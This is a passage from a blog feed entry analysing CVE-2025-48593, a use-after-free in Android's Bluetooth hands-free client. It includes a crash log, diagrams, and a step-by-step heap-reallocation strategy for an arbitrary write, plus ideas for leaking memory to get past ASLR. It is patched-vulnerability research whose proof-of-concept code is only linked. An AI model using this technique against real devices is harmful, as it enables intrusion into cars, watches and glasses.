<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://worthdoingbadly.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://worthdoingbadly.com/" rel="alternate" type="text/html" /><updated>2025-12-02T08:36:35+00:00</updated><id>https://worthdoingbadly.com/feed.xml</id><title type="html">Worth Doing Badly</title><subtitle>Programming experiments by @zhuowei.</subtitle><entry><title type="html">Proof-of-concept for CVE-2025-48593: No, this Android Bluetooth issue does NOT affect your phone or tablet</title><link href="https://worthdoingbadly.com/bluetooth/" rel="alternate" type="text/html" title="Proof-of-concept for CVE-2025-48593: No, this Android Bluetooth issue does NOT affect your phone or tablet" /><published>2025-12-01T00:00:00+00:00</published><updated>2025-12-01T00:00:00+00:00</updated><id>https://worthdoingbadly.com/bluetooth</id><content type="html" xml:base="https://worthdoingbadly.com/bluetooth/"><![CDATA[<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-48593">CVE-2025-48593</a>, patched in <a href="https://source.android.com/docs/security/bulletin/2025-11-01">November’s Android Security Bulletin</a>, only affects devices that support acting as Bluetooth headphones / speakers, such as some smartwatches, smart glasses, and cars.</p>

<p>To find out the impact of the issue, I examined the <a href="https://android.googlesource.com/platform/packages/modules/Bluetooth/+/b8153e05d0b9224feb0ace8c24eeeadc80e4dffc">patch</a> from the Android bulletin and wrote a proof-of-concept that crashes the Bluetooth service in the Android Automotive emulator in Android Studio.</p>

<p>You can find my proof of concept at <a href="https://github.com/zhuowei/blueshrimp">https://github.com/zhuowei/blueshrimp</a>.</p>

<h2 id="should-i-be-worried">Should I be worried?</h2>

<p>No, you don’t need to worry about this:</p>

<ul>
  <li>As far as I can tell, phones and tablets are <strong>NOT</strong> vulnerable to CVE-2025-48593. The issue only affects Android devices that support acting as Bluetooth headphones / speakers, such as some smartwatches, smart glasses, and cars.</li>
  <li>In addition, an attacker has to get a victim to <a href="https://cs.android.com/android/platform/superproject/main/+/main:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_rfc.cc;l=192;drc=86d90eee9dd37eccdd19449b9d72b883df060f9b">pair</a> to the attacker before they can access the headset service. As long as you don’t accept the pairing request on your smartwatch/glasses/car, you should be fine.</li>
  <li>My proof-of-concept isn’t useful for a real attacker: I don’t attempt to defeat ASLR, so this only crashes the Bluetooth service on a device. It can’t do anything malicious.</li>
</ul>

<h2 id="demo">Demo</h2>

<p>Here’s a video showing the Bluetooth service crashing with “fault addr 0x4141414141414141” on the Android Automotive emulator in Android Studio:</p>

<iframe width="560" height="315" src="https://www.youtube-nocookie.com/embed/tpJv3p89FHA" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
Build fingerprint: 'google/sdk_gcar_arm64/emulator_car64_arm64:14/UAA1.250512.001/13479943:userdebug/dev-keys'
Revision: '0'
ABI: 'arm64'
Timestamp: 2025-12-01 17:28:17.644347763-0500
Process uptime: 0s
Cmdline: com.google.android.bluetooth
pid: 6386, tid: 6424, name: bt_main_thread  &gt;&gt;&gt; com.google.android.bluetooth &lt;&lt;&lt;
uid: 1001002
tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
pac_enabled_keys: 000000000000000f (PR_PAC_APIAKEY, PR_PAC_APIBKEY, PR_PAC_APDAKEY, PR_PAC_APDBKEY)
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x4141414141414141
    x0  4141414141414141  x1  b4000073106a14a0  x2  0000000000000103  x3  414141414141413e
    x4  b4000073106a15a3  x5  4141414141414241  x6  0000000000000100  x7  000000000000010f
    x8  0000000000000000  x9  4141414141414141  x10 0000000000000002  x11 00000070c20c8558
    x12 0000000000000018  x13 00000000ffffffbf  x14 0000000000000003  x15 0000000000000001
    x16 00000070c253f470  x17 00000073f6ee3a40  x18 00000070bb2c6060  x19 00000070c258c0c0
    x20 b4000073106a14a3  x21 0000000000000100  x22 00000070bc384000  x23 000000004141413e
    x24 00000070bc384000  x25 00000070bc384000  x26 00000070bc383ff8  x27 00000000000fc000
    x28 00000000000fe000  x29 00000070bc383470
    lr  00000070c20c3d58  sp  00000070bc383460  pc  00000073f6ee3b38  pst 00000000a0001000

15 total frames
backtrace:
      #00 pc 000000000005fb38  /apex/com.android.runtime/lib64/bionic/libc.so (__memcpy_aarch64_simd+248) (BuildId: 8bd98d931a32d13659267d7d53286e73)
      #01 pc 00000000006aad54  /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdp_copy_raw_data(tCONN_CB*, bool)+344) (BuildId: fe3c1bf88cf688f5197df2b2f326f723)
      #02 pc 00000000006aa0c0  /apex/com.android.btservices/lib64/libbluetooth_jni.so (process_service_search_attr_rsp(tCONN_CB*, unsigned char*, unsigned char*)+624) (BuildId: fe3c1bf88cf688f5197df2b2f326f723)
      #03 pc 00000000006a9760  /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdp_data_ind(unsigned short, BT_HDR*)+212) (BuildId: fe3c1bf88cf688f5197df2b2f326f723)
      #04 pc 00000000007387b4  /apex/com.android.btservices/lib64/libbluetooth_jni.so (l2c_csm_execute(t_l2c_ccb*, tL2CEVT, void*)+9412) (BuildId: fe3c1bf88cf688f5197df2b2f326f723)
      #05 pc 00000000009d6ce8  /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*)+196) (BuildId: fe3c1bf88cf688f5197df2b2f326f723)
      #06 pc 00000000009d6260  /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::MessageLoop::RunTask(base::PendingTask*)+352) (BuildId: fe3c1bf88cf688f5197df2b2f326f723)
      #07 pc 00000000009d6574  /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::MessageLoop::DoWork()+452) (BuildId: fe3c1bf88cf688f5197df2b2f326f723)
      #08 pc 00000000009d8964  /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::MessagePumpDefault::Run(base::MessagePump::Delegate*)+100) (BuildId: fe3c1bf88cf688f5197df2b2f326f723)
      #09 pc 00000000009e4a34  /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::RunLoop::Run()+64) (BuildId: fe3c1bf88cf688f5197df2b2f326f723)
      #10 pc 000000000069aaa4  /apex/com.android.btservices/lib64/libbluetooth_jni.so (bluetooth::common::MessageLoopThread::Run(std::__1::promise&lt;void&gt;)+336) (BuildId: fe3c1bf88cf688f5197df2b2f326f723)
      #11 pc 000000000069a584  /apex/com.android.btservices/lib64/libbluetooth_jni.so (bluetooth::common::MessageLoopThread::RunThread(bluetooth::common::MessageLoopThread*, std::__1::promise&lt;void&gt;)+48) (BuildId: fe3c1bf88cf688f5197df2b2f326f723)
      #12 pc 000000000069b090  /apex/com.android.btservices/lib64/libbluetooth_jni.so (void* std::__1::__thread_proxy&lt;std::__1::tuple&lt;std::__1::unique_ptr&lt;std::__1::__thread_struct, std::__1::default_delete&lt;std::__1::__thread_struct&gt; &gt;, void (*)(bluetooth::common::MessageLoopThread*, std::__1::promise&lt;void&gt;), bluetooth::common::MessageLoopThread*, std::__1::promise&lt;void&gt; &gt; &gt;(void*)+84) (BuildId: fe3c1bf88cf688f5197df2b2f326f723)
      #13 pc 00000000000cb6a8  /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*)+208) (BuildId: 8bd98d931a32d13659267d7d53286e73)
      #14 pc 000000000006821c  /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+64) (BuildId: 8bd98d931a32d13659267d7d53286e73)
</code></pre></div></div>

<h2 id="tested">Tested</h2>

<p>I tested against 4 Android Emulators in Android Studio:</p>

<p>Affected:</p>

<ul>
  <li>Android Automotive 14, API 34-ext9, “Android Automotive with Google APIs arm64-v8a System Image”, version 5 - worked out of the box</li>
  <li>Android 15, API 35, “Google APIs ARM 64 v8a System Image”, version 9 - worked once I <a href="https://github.com/zhuowei/blueshrimp/blob/main/README.md#running">force-enabled</a> acting as a Bluetooth headset with root and <code class="language-plaintext highlighter-rouge">setprop bluetooth.profile.hfp.hf.enabled true</code></li>
  <li>Android 13, API 33, “Google APIs ARM 64 v8a System Image”, version 17 - worked once force-enabled</li>
  <li>Android 12L, API 32, “Google APIs ARM 64 v8a System Image”, version 8 - worked once <a href="https://gist.github.com/zhuowei/4fcaa4b0141d62f44af0cddd9b906588">force-enabled</a></li>
</ul>

<p>Running the proof-of-concept on these emulators shows</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>asyncio.exceptions.CancelledError
</code></pre></div></div>

<p>and the Android logcat shows “fault addr 0x41414141414141”.</p>

<p>Not affected:</p>

<ul>
  <li>Android 16 API 36.1 “Google APIs ARM 64 v8a System Image” revision 3 - patched against CVE-2025-48593: with force-enabled headset, running the proof-of-concept gives me:
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bumble.core.InvalidStateError: channel not open
</code></pre></div>    </div>
  </li>
</ul>

<p>I also tested against real devices:</p>

<p>I don’t have a physical Android device that acts as a Bluetooth headset, so I used root to <a href="https://gist.github.com/zhuowei/4fcaa4b0141d62f44af0cddd9b906588">force-enable</a> it on two devices: my Pixel 3 XL (an Android 11 device), and an Android 14 device.</p>
<ul>
  <li>the Pixel 3 XL running Android 11 (RQ1A.201205.003.A1) is affected once headset service is force-enabled.</li>
  <li>the Android 14 device is also affected.</li>
</ul>

<p>I also tested against a pair of Meta Ray-Ban Display smart glasses (which runs a modified Android 14 with <a href="https://git.codelinaro.org/clo/la/platform/vendor/qcom-opensource/packages/apps/Bluetooth/-/tree/LA.QISI.14.0.r1-02800-qssi.0?ref_type=tags">Qualcomm’s Bluetooth service</a>, which seems to be based on the <a href="https://android.googlesource.com/platform/packages/apps/Bluetooth/+/refs/heads/android12L-gsi">Android 12L</a> code). Unfortunately, the AVRCP implementation on the glasses queries Headset Audio Gateway early and disconnects on failure, so I wasn’t able to test reallocating - and there’s no way to get <code class="language-plaintext highlighter-rouge">adb logcat</code> from the glasses to debug it.</p>

<h2 id="my-understanding-of-whats-happening">My understanding of what’s happening</h2>

<p>Bluetooth headphones use the <a href="https://en.wikipedia.org/wiki/List_of_Bluetooth_profiles#Hands-Free_Profile_(HFP)">Handsfree Profile</a>.</p>

<p>Handsfree Profile is special: unlike some Bluetooth services, where one side acts as a server and the other side connects to it, both the headset and the connecting device (e.g. a phone) need to run Bluetooth servers.</p>

<p>After the phone connects to the headset’s Handsfree service (UUID <code class="language-plaintext highlighter-rouge">0x111e</code>), the headset then connects back to the phone’s Handsfree Audio Gateway service (UUID <code class="language-plaintext highlighter-rouge">0x111f</code>).</p>

<p>When a phone opens an RFCOMM connection to the headset’s Handsfree service, in the headset’s <code class="language-plaintext highlighter-rouge">hf_client</code> code:</p>

<ul>
  <li><a href="https://cs.android.com/android/platform/superproject/main/+/main:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=556;drc=875c5971d0201d3c67cc166ad9ab8b2b4a7cab7f">bta_hf_client_allocate_handle</a> allocates a <code class="language-plaintext highlighter-rouge">tBTA_HF_CLIENT_CB</code> handle from the pool</li>
  <li><a href="https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=382;drc=769caf391c6055c6f9db945b71d96b2f01c8799c">bta_hf_client_do_disc</a> allocates a <code class="language-plaintext highlighter-rouge">tSDP_DISCOVERY_DB</code>, stores it in <code class="language-plaintext highlighter-rouge">client_cb-&gt;p_disc_db</code>, and starts SDP discovery</li>
  <li><a href="https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/stack/sdp/sdp_api.cc;l=205;drc=138659ad3ff2961010b9cacd36fceb36ba73dcce">SDP_ServiceSearchAttributeRequest2</a> stores the <code class="language-plaintext highlighter-rouge">tSDP_DISCOVERY_DB</code> into a <code class="language-plaintext highlighter-rouge">tCONN_CB</code>’s <code class="language-plaintext highlighter-rouge">p_ccb-&gt;p_db</code>, then connects to the phone’s SDP service</li>
  <li>now the <code class="language-plaintext highlighter-rouge">tSDP_DISCOVERY_DB</code> is stored both in the hf_client’s <code class="language-plaintext highlighter-rouge">client_cb-&gt;p_disc_db</code> handle and in the SDP layer’s <code class="language-plaintext highlighter-rouge">p_ccb-&gt;p_db</code></li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hf_client:                  SDP:          
tBTA_HF_CLIENT_CB           tCONN_CB 1    
+-------------+             +------------+
|             |             |            |
| ACTIVE      |             | ACTIVE     |
|             |             |            |
|  p_disc_db  |             |   p_db     |
+------+------+             +------+-----+
       |                           |      
       |       tSDP_DISCOVERY_DB 1 |      
       |       +-----------+       |      
       |       |           |       |      
       |       |           |       |      
       +-------+           +-------+      
               |           |              
               +-----------+                        
</code></pre></div></div>

<p>When the phone’s RFCOMM connection is closed:</p>

<ul>
  <li><a href="https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_rfc.cc;l=143;drc=86d90eee9dd37eccdd19449b9d72b883df060f9b">bta_hf_client_mgmt_cback</a> emits a <code class="language-plaintext highlighter-rouge">BTA_HF_CLIENT_RFC_CLOSE_EVT</code></li>
  <li><a href="https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=157;drc=769caf391c6055c6f9db945b71d96b2f01c8799c">the bta_hf_client_st_opening state table</a> calls the handler for <a href="https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_act.cc;l=278;drc=031a4c3b0a00602b7bbd08ffd8b4d02fdccb5989">bta_hf_client_rfc_close</a> and resets the state machine to <code class="language-plaintext highlighter-rouge">BTA_HF_CLIENT_INIT_ST</code></li>
  <li><a href="https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=728;drc=769caf391c6055c6f9db945b71d96b2f01c8799c">bta_hf_client_sm_execute</a> sees the state transition and deallocates the <code class="language-plaintext highlighter-rouge">tBTA_HF_CLIENT_CB</code> handle back to the pool</li>
  <li>However - before the patch for CVE-2025-48593 - the SDP connection is not cancelled, and is still waiting for a response</li>
  <li>At this time, there’s a <code class="language-plaintext highlighter-rouge">tBTA_HF_CLIENT_CB</code> returned to the unallocated pool, with <code class="language-plaintext highlighter-rouge">client_cb-&gt;p_disc_db</code> still set and a still active SDP discovery</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hf_client:                  SDP:          
tBTA_HF_CLIENT_CB           tCONN_CB 1    
+-------------+             +------------+
|             |             |            |
| INACTIVE    |             | ACTIVE     |
|             |             |            |
|  p_disc_db  |             |   p_db     |
+------+------+             +------+-----+
       |                           |      
       |       tSDP_DISCOVERY_DB 1 |      
       |       +-----------+       |      
       |       |           |       |      
       |       |           |       |      
       +-------+           +-------+      
               |           |              
               +-----------+              
</code></pre></div></div>

<p>When the phone answers the SDP discovery with an error:</p>

<ul>
  <li><a href="https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=85;drc=769caf391c6055c6f9db945b71d96b2f01c8799c">bta_hf_client_sdp_cback</a> emits a <code class="language-plaintext highlighter-rouge">BTA_HF_CLIENT_DISC_INT_RES_EVT</code></li>
  <li><a href="https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=164;drc=769caf391c6055c6f9db945b71d96b2f01c8799c">the bta_hf_client_st_opening state table</a> calls the handler for <a href="https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_act.cc;l=319;drc=031a4c3b0a00602b7bbd08ffd8b4d02fdccb5989">bta_hf_client_disc_int_res</a></li>
  <li><a href="https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=413;drc=769caf391c6055c6f9db945b71d96b2f01c8799c">bta_hf_client_free_db</a> frees <code class="language-plaintext highlighter-rouge">client_cb-&gt;p_disc_db</code></li>
  <li>so now the <code class="language-plaintext highlighter-rouge">tSDP_DISCOVERY_DB</code> is freed, <code class="language-plaintext highlighter-rouge">client_cb-&gt;p_disc_db</code> is null, and the SDP layer no longer has a <code class="language-plaintext highlighter-rouge">p_ccb-&gt;p_db</code> to the discovery DB.</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hf_client:                  SDP:          
tBTA_HF_CLIENT_CB           tCONN_CB 1    
+-------------+             +------------+
|             |             |            |
| INACTIVE    |             | INACTIVE   |
|             |             |            |
|  p_disc_db  |             |   p_db     |
+-------------+             +------------+
                                         
               (freed)
               +-----------+  
               |           |            
               |           | 
               |           |     
               |           |              
               +-----------+              
</code></pre></div></div>

<p>However, if the phone opens RFCOMM again before the first SDP discovery returns:</p>

<ul>
  <li>we reallocate a handle (probably the same handle that was deallocated to the pool previously) and call discovery again.</li>
  <li>the <code class="language-plaintext highlighter-rouge">client_cb-&gt;p_disc_db</code> now points to a new <code class="language-plaintext highlighter-rouge">tSDP_DISCOVERY_DB</code>, and the SDP layer holds two <code class="language-plaintext highlighter-rouge">tSDP_DISCOVERY_DB</code>s: one <code class="language-plaintext highlighter-rouge">p_ccb-&gt;p_db</code> holds the old DB from the first connection and one <code class="language-plaintext highlighter-rouge">p_ccb-&gt;p_db</code> holds the new DB from the second connection</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hf_client:                  SDP:                            
tBTA_HF_CLIENT_CB           tCONN_CB 1       tCONN_CB 2     
+-------------+             +------------+   +-------------+
|             |             |            |   |             |
| ACTIVE      |             | ACTIVE     |   | ACTIVE      |
|             |             |            |   |             |
|  p_disc_db  |             |   p_db     |   |   p_db      |
+-----+-------+             +------+-----+   +----+--------+
      |                            |              |         
      |        tSDP_DISCOVERY_DB 1 |              |         
      |        +-----------+       |              |         
      |        |           |       |              |         
      |        |           |       |              |         
      |        |           +-------+              |         
      |        |           |                      |         
      |        +-----------+                      |         
      |                                           |         
      |                                           |         
      |                                           |         
      |        tSDP_DISCOVERY_DB 2                |         
      |        +-----------+                      |         
      |        |           |                      |         
      |        |           |                      |         
      +--------+           +----------------------+         
               |           |                                
               |           |                                
               +-----------+                                
</code></pre></div></div>

<p>Now, the phone answers the first SDP discovery with an error:</p>

<ul>
  <li>the SDP layer closes the <code class="language-plaintext highlighter-rouge">p_ccb</code> from the first connection</li>
  <li><a href="https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=413;drc=769caf391c6055c6f9db945b71d96b2f01c8799c">bta_hf_client_free_db</a> frees <code class="language-plaintext highlighter-rouge">client_cb-&gt;p_disc_db</code>, which is the <em>second</em> connection’s DB</li>
  <li>now the hf_client’s <code class="language-plaintext highlighter-rouge">client_cb-&gt;p_disc_db</code> is freed and set to null, and the SDP’s <code class="language-plaintext highlighter-rouge">p_ccb</code> for the first connection is gone</li>
  <li>but the <code class="language-plaintext highlighter-rouge">p_ccb</code> for the second connection is still active, so <code class="language-plaintext highlighter-rouge">p_ccb-&gt;p_db</code> for the second SDP discovery request points to a freed <code class="language-plaintext highlighter-rouge">tSDP_DISCOVERY_DB</code></li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hf_client:                  SDP:                            
tBTA_HF_CLIENT_CB           tCONN_CB 1       tCONN_CB 2     
+-------------+             +------------+   +-------------+
|             |             |            |   |             |
| ACTIVE      |             | INACTIVE   |   | ACTIVE      |
|             |             |            |   |             |
|  p_disc_db  |             |   p_db     |   |   p_db      |
+-------------+             +------------+   +----+--------+
                                                  |         
               tSDP_DISCOVERY_DB 1                |         
               +-----------+                      |         
               |           |                      |         
               |           |                      |         
               |           |                      |         
               |           |                      |         
               +-----------+                      |         
                                                  |         
                                                  |         
                                                  |         
               (freed!)                           |         
               +-----------+                      |         
               |           |                      |         
               |           |                      |         
               |           +----------------------+         
               |           |                                
               |           |                                
               +-----------+                                
</code></pre></div></div>

<p>Finally, the phone answers the second SDP discovery with an actual response:</p>

<ul>
  <li>the SDP layer processes the incoming data in <a href="https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/stack/sdp/sdp_main.cc;l=234;drc=0e45ce1dc53e611da84344e7c5a11108ad7dba46">sdp_data_ind</a> and dispatches to sdp_disc_server_rsp</li>
  <li><a href="https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/stack/sdp/sdp_discovery.cc;l=683;drc=769caf391c6055c6f9db945b71d96b2f01c8799c">process_service_search_attr_rsp</a> starts reading from <code class="language-plaintext highlighter-rouge">p_ccb-&gt;p_db</code></li>
  <li>since <code class="language-plaintext highlighter-rouge">p_db</code> was already freed by <code class="language-plaintext highlighter-rouge">bta_hf_client_free_db</code> from the first SDP discovery’s error response, the second SDP response causes use-after-free.</li>
</ul>

<h2 id="exploiting-the-use-after-free">Exploiting the use-after-free</h2>

<p>To exploit the use-after-free, I need to re-allocate the memory buffer with contents I control.</p>

<p>Both of Android’s supported memory allocators (<a href="https://www.synacktiv.com/en/publications/behind-the-shield-unmasking-scudos-defenses#:~:text=For%20efficiency%2C%20the%20library%20first%20seeks%20a%20block%20within%20the%20thread's%20local%20cache">Scudo</a> and <a href="https://www.synacktiv.com/publications/exploring-android-heap-allocations-in-jemalloc-new#:~:text=To%20speed%20up%20the%20allocation%20process">Jemalloc</a>) have a first-in-first-out thread local cache. After triggering the issue, the next time Bluetooth calls <code class="language-plaintext highlighter-rouge">malloc</code> on the <code class="language-plaintext highlighter-rouge">bt_main_thread</code> for around 0x1010 bytes, it would re-use the most recently freed memory block of similar size - the freed <code class="language-plaintext highlighter-rouge">tSDP_DISCOVERY_DB</code>.</p>

<p>Unfortunately, just sending a Bluetooth packet isn’t enough to trigger this allocation. Received packets are <a href="https://cs.android.com/android/platform/superproject/main/+/main:packages/modules/Bluetooth/system/main/shim/helpers.h;l=120;drc=61197364367c9e404c7da6900658f1b16c42d0da">allocated</a> on a different thread, <code class="language-plaintext highlighter-rouge">bt_stack_manager_thread</code>. I have to find an allocation that happens on the main thread, inside the protocol implementations.</p>

<p>Synaktive’s writeup of a <a href="https://www.synacktiv.com/en/publications/paint-it-blue-attacking-the-bluetooth-stack">previous Android Bluetooth exploit</a> mentions that packet reassembly can be used to allocate memory on the Bluetooth main thread.</p>

<p>I wasn’t able to use their approach of using <a href="https://en.wikipedia.org/wiki/List_of_Bluetooth_protocols#Logical_link_control_and_adaptation_protocol_(L2CAP)">ERTM</a> with <a href="https://en.wikipedia.org/wiki/List_of_Bluetooth_protocols#Audio/video_control_transport_protocol_(AVCTP)">AVCTP</a>, as Bumble does not support ERTM; however, it turns out AVCTP’s <a href="https://cs.android.com/android/platform/superproject/main/+/main:packages/modules/Bluetooth/system/stack/avct/avct_lcb_act.cc;l=114;drc=61197364367c9e404c7da6900658f1b16c42d0da">own reassembly routine</a> also does a <code class="language-plaintext highlighter-rouge">osi_malloc</code> and fills it with the received packet’s contents.</p>

<p>I control everything but the first 0x13 bytes of the AVCTP allocation. Conveniently, <a href="https://cs.android.com/android/platform/superproject/main/+/main:packages/modules/Bluetooth/system/stack/sdp/sdp_discovery_db.h;l=65;drc=11911dbdae8407d6d8b87ad4f571725e3e2a1c2d"><code class="language-plaintext highlighter-rouge">tSDP_DISCOVERY_DB</code></a> has a <code class="language-plaintext highlighter-rouge">raw_data</code> field:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="nc">tSDP_DISCOVERY_DB</span> <span class="p">{</span>
  <span class="kt">uint32_t</span> <span class="n">mem_size</span><span class="p">;</span>                                  <span class="cm">/* Memory size of the DB        */</span>
  <span class="kt">uint32_t</span> <span class="n">mem_free</span><span class="p">;</span>                                  <span class="cm">/* Memory still available       */</span>
  <span class="n">tSDP_DISC_REC</span><span class="o">*</span> <span class="n">p_first_rec</span><span class="p">;</span>                         <span class="cm">/* Addr of first record in DB   */</span>
  <span class="kt">uint16_t</span> <span class="n">num_uuid_filters</span><span class="p">;</span>                          <span class="cm">/* Number of UUIds to filter    */</span>
  <span class="n">bluetooth</span><span class="o">::</span><span class="n">Uuid</span> <span class="n">uuid_filters</span><span class="p">[</span><span class="n">SDP_MAX_UUID_FILTERS</span><span class="p">];</span> <span class="cm">/* UUIDs to filter */</span>
  <span class="kt">uint16_t</span> <span class="n">num_attr_filters</span><span class="p">;</span>                          <span class="cm">/* Number of attribute filters  */</span>
  <span class="kt">uint16_t</span> <span class="n">attr_filters</span><span class="p">[</span><span class="n">SDP_MAX_ATTR_FILTERS</span><span class="p">];</span>        <span class="cm">/* Attributes to filter */</span>
  <span class="kt">uint8_t</span><span class="o">*</span> <span class="n">p_free_mem</span><span class="p">;</span>                                <span class="cm">/* Pointer to free memory       */</span>
  <span class="kt">uint8_t</span><span class="o">*</span> <span class="n">raw_data</span><span class="p">;</span> <span class="cm">/* Received record from server. allocated/released by client  */</span>
  <span class="kt">uint32_t</span> <span class="n">raw_size</span><span class="p">;</span> <span class="cm">/* size of raw_data */</span>
  <span class="kt">uint32_t</span> <span class="n">raw_used</span><span class="p">;</span> <span class="cm">/* length of raw_data used */</span>
<span class="p">};</span>
</code></pre></div></div>

<p>and the <a href="https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/stack/sdp/sdp_discovery.cc;l=238;drc=769caf391c6055c6f9db945b71d96b2f01c8799c"><code class="language-plaintext highlighter-rouge">sdp_copy_raw_data</code></a> method <code class="language-plaintext highlighter-rouge">memcpy</code>s the SDP response directly into <code class="language-plaintext highlighter-rouge">raw_data</code>.</p>

<p>So, to get an arbitrary write, my proof-of-concept:</p>

<ul>
  <li>responds to the first SDP request with an error, which <code class="language-plaintext highlighter-rouge">free</code>s the <code class="language-plaintext highlighter-rouge">tSDP_DISCOVERY_DB</code></li>
  <li>(at this point, the Android Automotive emulator tries to connect to A2DP and sends another SDP request: my proof-of-concept answers this request with an error too.)</li>
  <li>waits for the second SDP request</li>
  <li>sends an AVRCP packet to reallocate the dangling <code class="language-plaintext highlighter-rouge">tSDP_DISCOVERY_DB</code>, with a fake object that sets <code class="language-plaintext highlighter-rouge">raw_data</code> to my target address</li>
  <li>responds to the second SDP request</li>
  <li><code class="language-plaintext highlighter-rouge">sdp_copy_raw_data</code> runs and does a <code class="language-plaintext highlighter-rouge">memcpy</code> into my target address with my SDP response</li>
</ul>

<p>I wrote the proof-of-concept using <a href="https://github.com/google/bumble">Bumble</a>:</p>
<ul>
  <li>it’s a full Bluetooth stack, which gives me full control over the SDP connection</li>
  <li>it can connect both to Android Emulator and to real USB Bluetooth dongles</li>
</ul>

<h2 id="what-about-aslr">What about ASLR?</h2>

<p>ASLR is left as an exercise for the reader… because I’m not experienced enough to figure this out.</p>

<p>I think it’s possible to get an information disclosure from this.</p>

<p>I currently re-allocate after the SDP request is already sent, but <a href="https://github.com/zhuowei/blueshrimp/blob/attempt-read-failed/dumpbt.js">I found</a> it’s possible to re-allocate just before the SDP request is sent by delaying the L2CAP configuration response. This lets me overwrite <code class="language-plaintext highlighter-rouge">num_uuid_filters</code> and <code class="language-plaintext highlighter-rouge">num_attr_filters</code>. Since there’s no bounds check when accessing <a href="https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/stack/sdp/sdp_discovery.cc;l=684;drc=769caf391c6055c6f9db945b71d96b2f01c8799c">uuid_filters</a> and <a href="https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/stack/sdp/sdp_discovery.cc;l=692;drc=769caf391c6055c6f9db945b71d96b2f01c8799c">attr_filters</a>, I can get it to copy memory after those fields into the SDP request. (A good target might be <code class="language-plaintext highlighter-rouge">p_free_mem</code>, just past the <code class="language-plaintext highlighter-rouge">attr_filters</code> - it gives the address of the <code class="language-plaintext highlighter-rouge">tSDP_DISCOVERY_DB</code> itself.)</p>

<p>(In fact, if <code class="language-plaintext highlighter-rouge">num_attr_filters</code> is set high enough, <code class="language-plaintext highlighter-rouge">sdpu_build_attrib_seq</code> also overflows the request buffer, giving a relative out-of-bounds write when constructing the SDP request).</p>

<p>Unfortunately, <code class="language-plaintext highlighter-rouge">num_uuid_filters</code> falls into the 0x13 bytes that I can’t control with AVCTP, and it’s set to “0x06 0x06”. So <code class="language-plaintext highlighter-rouge">sdpu_build_uuid_seq</code> fills up the entire 0x1010 byte buffer, then I get “cannot send message bigger than peer’s mtu size: len=4096 mtu=1691”.</p>

<p>(Maybe ERTM, which only has 0x8 bytes of overhead, would work?)</p>

<p>Anyways, shaping the heap so interesting memory falls behind the <code class="language-plaintext highlighter-rouge">tSDP_DISCOVERY_DB</code> is probably going to be difficult. Let me know if you figure it out!</p>

<h2 id="thanks">Thanks</h2>

<p>Credits to:</p>
<ul>
  <li>“Dikun Zhang (stardesty) of Li Auto security team”, according to the <a href="https://source.android.com/docs/security/overview/acknowledgements">Android Security Bulletin</a>, for originally discovering this issue.</li>
